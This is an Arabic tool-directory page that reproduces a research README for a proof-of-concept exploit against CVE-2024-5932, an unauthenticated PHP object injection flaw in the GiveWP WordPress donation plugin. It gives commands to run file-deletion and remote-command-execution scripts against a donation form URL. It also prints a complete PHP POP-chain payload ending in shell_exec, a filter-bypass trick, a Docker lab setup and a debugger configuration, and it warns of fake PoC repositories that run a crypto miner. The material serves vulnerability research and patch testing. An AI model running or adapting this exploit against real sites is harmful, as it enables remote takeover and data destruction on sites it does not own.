Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-5932 — استغلال ثغرة حقن كائن PHP في GiveWP | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2024-5932
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

استغلال ثغرة حقن كائن PHP في GiveWP

عرض المستودع
7810منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هذا المنشور عبارة عن مقالة بحثية نشرها EQSTLab.

❗❗ مهم ❗❗

توجد حاليًا مستودعات GitHub مزيفة لإثباتات المفهوم (PoC) تقوم بتشغيل xmrig. اطلع على الروابط أدناه لمزيد من المعلومات:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 إثبات مفهوم (PoC) لحذف الملفات التعسفي وتنفيذ الأوامر عن بُعد (RCE) ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

الخط الزمني

25 أغسطس : تم رفع إثبات المفهوم (PoC) لحذف الملفات لثغرة CVE-2024-5932

26 أغسطس : نجحنا في تنفيذ أوامر تعسفية باستخدام CVE-2024-5932، لكننا ندرس الإفصاح عنها نظرًا لتأثيرها.

27 أغسطس : وجدنا تحليلًا مفصلًا لإثبات المفهوم في منشور بقلم Julien Ahrens من RCE Security، وقررنا نشر إثبات المفهوم الخاص بنا لتنفيذ الأوامر عن بُعد (RCE). قمنا برفع إثبات مفهوم إضافي لـ RCE تحت اسم CVE-2024-5932-rce.py.

الوصف

CVE-2024-5932: ثغرة حقن كائنات PHP (PHP Object Injection) في GiveWP الوصف: إضافة GiveWP، وهي إضافة التبرعات ومنصة جمع التبرعات لووردبريس، قابلة للاستغلال عبر حقن كائنات PHP في جميع الإصدارات حتى الإصدار 3.14.1 وما يتضمنه، وذلك من خلال إلغاء تسلسل مدخلات غير موثوقة من معامل 'give_title'. وهذا يتيح للمهاجمين غير الموثّقين حقن كائن PHP. كما أن وجود سلسلة POP إضافية يتيح للمهاجمين تنفيذ الأكواد عن بُعد وحذف الملفات التعسفي.

طريقة الاستخدام

استنساخ المستودع

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

تثبيت الحزم

root@kitploit:~
pip install -r requirements.txt

الأوامر

root@kitploit:~
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

مثال

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

المخرجات

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

النتيجة

image 2

البيئة القابلة للاستغلال

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. ثم قم بتنزيل إضافة GiveWP القابلة للاستغلال:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. قم بفك ضغط ملف zip الخاص بإضافة GiveWP وانسخ الملف بأكمله إلى المجلد “/var/www/html/wp-content/plugins” directory.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. قم بتفعيل إضافة GiveWP

image

5. أنشئ منشورًا جديدًا باستخدام إضافة GiveWP وانسخ رابط المنشور

image

6. تحقق من الرابط القابل للاستغلال

image

(اختياري) إعداد الملف الهدف في بيئة Docker

أولًا، قم بالوصول إلى شل ووردبريس باستخدام الأمر التالي:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

إذا كان الملف مملوكًا للمستخدم root، فقد لا يتم حذفه بسبب الصلاحيات. لذلك، تحتاج إلى تغيير ملكية ملف الاختبار باستخدام الأمر التالي:

root@kitploit:~
touch test && chown www-data test

image

التصحيح باستخدام PHPSTORM

يمكنك تصحيح أخطاء إضافة GiveWP باستخدام PHPSTORM.

1. قم بتنزيل xdebug في ووردبريس الخاص بك (Docker):

root@kitploit:~
pecl install xdebug

2. ثم قم بإعداد ملف php.ini الخاص بووردبريس على النحو التالي (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..وبعد ذلك يمكنك تصحيح أخطاء ووردبريس الخاص بك.

3. قم بإعداد PHPSTORM على النحو التالي (محليًا):

image image

4. مثال باستخدام PHPSTORM (مثلًا: حذف الملفات التعسفي عبر TCPDF)

image

التحليل

النقطة القابلة للاستغلال (includes/payments/class-give-payment.php)

في هذه النقطة، تقوم الدالة get_meta() بإلغاء تسلسل القيمة "give_title" المحفوظة مسبقًا.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

تقنية الالتفاف

strip_tags: استبدال البايتات الفارغة -> باستخدام \0

stripslashes_deep: استبدال الخطوط المائلة العكسية -> باستخدام \\\\

سلسلة POP لتنفيذ الأوامر عن بُعد (RCE)

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (إرجاع سلسلة الأوامر)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

سيناريو الهجوم

تنفيذ الأوامر عن بُعد عبر سلسلة POP

تسمح سلسلة POP بتنفيذ الأوامر عن بُعد. image

حذف الملفات التعسفي

باستخدام TCPDF، يمكنك استغلال حذف الملفات التعسفي.

إخلاء المسؤولية

لا يُقصد من هذا المستودع أن يكون استغلالًا لحقن الكائنات (Object Injection) لثغرة CVE-2024-5932. الغرض من هذا المشروع هو مساعدة الأشخاص على تعلّم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.

رؤية EQST

ننشر تحليلات لثغرات CVE وللبرمجيات الخبيثة مرة واحدة شهريًا. إذا كنت مهتمًا، يرجى متابعة الروابط أدناه للاطلاع على منشوراتنا. https://www.skshieldus.com/eng/business/insight.do

المراجع

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do

تنزيل الأداة